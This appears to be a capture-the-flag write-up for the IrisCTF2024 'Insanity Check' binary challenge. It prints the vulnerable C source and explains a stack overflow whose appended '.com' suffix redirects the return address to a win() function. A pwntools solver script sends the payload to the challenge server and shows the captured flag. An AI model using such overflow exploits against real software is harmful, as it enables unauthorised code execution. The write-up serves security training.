Insanity Check [254 Solves]
Description

I've tried the brand new michael-ld linker on my hello world program. I'm pretty sure it's super safe now.
nc insanity-check.chal.irisc.tf 10003insanity-check.tar.gzBy: lambda
Short Solution
Stack Overflow, ret2win
Solution
Source Code
$ tar ztf insanity-check.tar.gz
insanity-check/
insanity-check/vuln
insanity-check/vuln.c
vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void rstrip(char* buf, const size_t len) {
for (int i = len - 1; i >= 0; i--)
if (buf[i] == '\n') {
buf[i] = '\0';
break;
}
}
const char suffix[] = "! Welcome to IrisCTF2024. If you have any questions you can contact us at test@example.com\0\0\0\0";
int main() {
char message[128];
char name[64];
fgets(name, 64, stdin);
rstrip(name, 64);
strcpy(message, "Hi there, ");
strcpy(message + strlen(message), name);
memcpy(message + strlen(message), suffix, sizeof(suffix));
printf("%s\n", message);
}
__attribute__((section(".flag")))
void win() {
__asm__("pop %rdi");
system("cat /flag");
}
Basic file checks
$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c2d6acffbfd9fd36c0a8089feffe3ce53f3eabba, for GNU/Linux 4.4.0, not stripped
$ checksec vuln
[*] '/root/ctf/IrisCTF2024/binary_exploitation/insanity-check/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x40000000)
Initial Analysis
$ readelf -s vuln | grep win
23: 000000006d6f632e 18 FUNC GLOBAL DEFAULT 28 win
$ unhex "000000006d6f632e" | rev | hd
00000000 2e 63 6f 6d 00 00 00 00 |.com....|
00000008
We can occur Stack Overflow by memcpy and set stuff to a return value of the main function.
The win function address is 0x000000006d6f632e, and .com\0\0\0\0 which is suffix variable last 8 bytes is 0x000000006d6f632e.
Thus, by adjusting the input size to overwrite the return value of the main function to 2e636f6d00000000, we can call the win function.
Solver
solver.py
from pwn import *
# context.log_level = "DEBUG"
context.terminal = ["tmux", "split-window", "-h"]
elf = ELF("./vuln", checksec=False)
def conn() -> pwnlib.tubes:
if args.REMOTE:
io = remote("insanity-check.chal.irisc.tf", 10003)
elif args.GDB:
gdbscript = """
b *main+310
c
"""
io = gdb.debug([elf.path], gdbscript=gdbscript)
else:
io = elf.process()
return io
def main():
payload = b"A" * 56 + b"\n"
with conn() as io:
io.send(payload)
io.interactive("")
if __name__ == "__main__":
main()
$ python3 solver.py REMOTE
[+] Opening connection to insanity-check.chal.irisc.tf on port 10003: Done
[*] Switching to interactive mode
== proof-of-work: disabled ==
irisctf{c0nv3n13nt_symb0l_pl4cem3nt}
[*] Closed connection to insanity-check.chal.irisc.tf port 10003
Got the flag.
Flag
irisctf{c0nv3n13nt_symb0l_pl4cem3nt}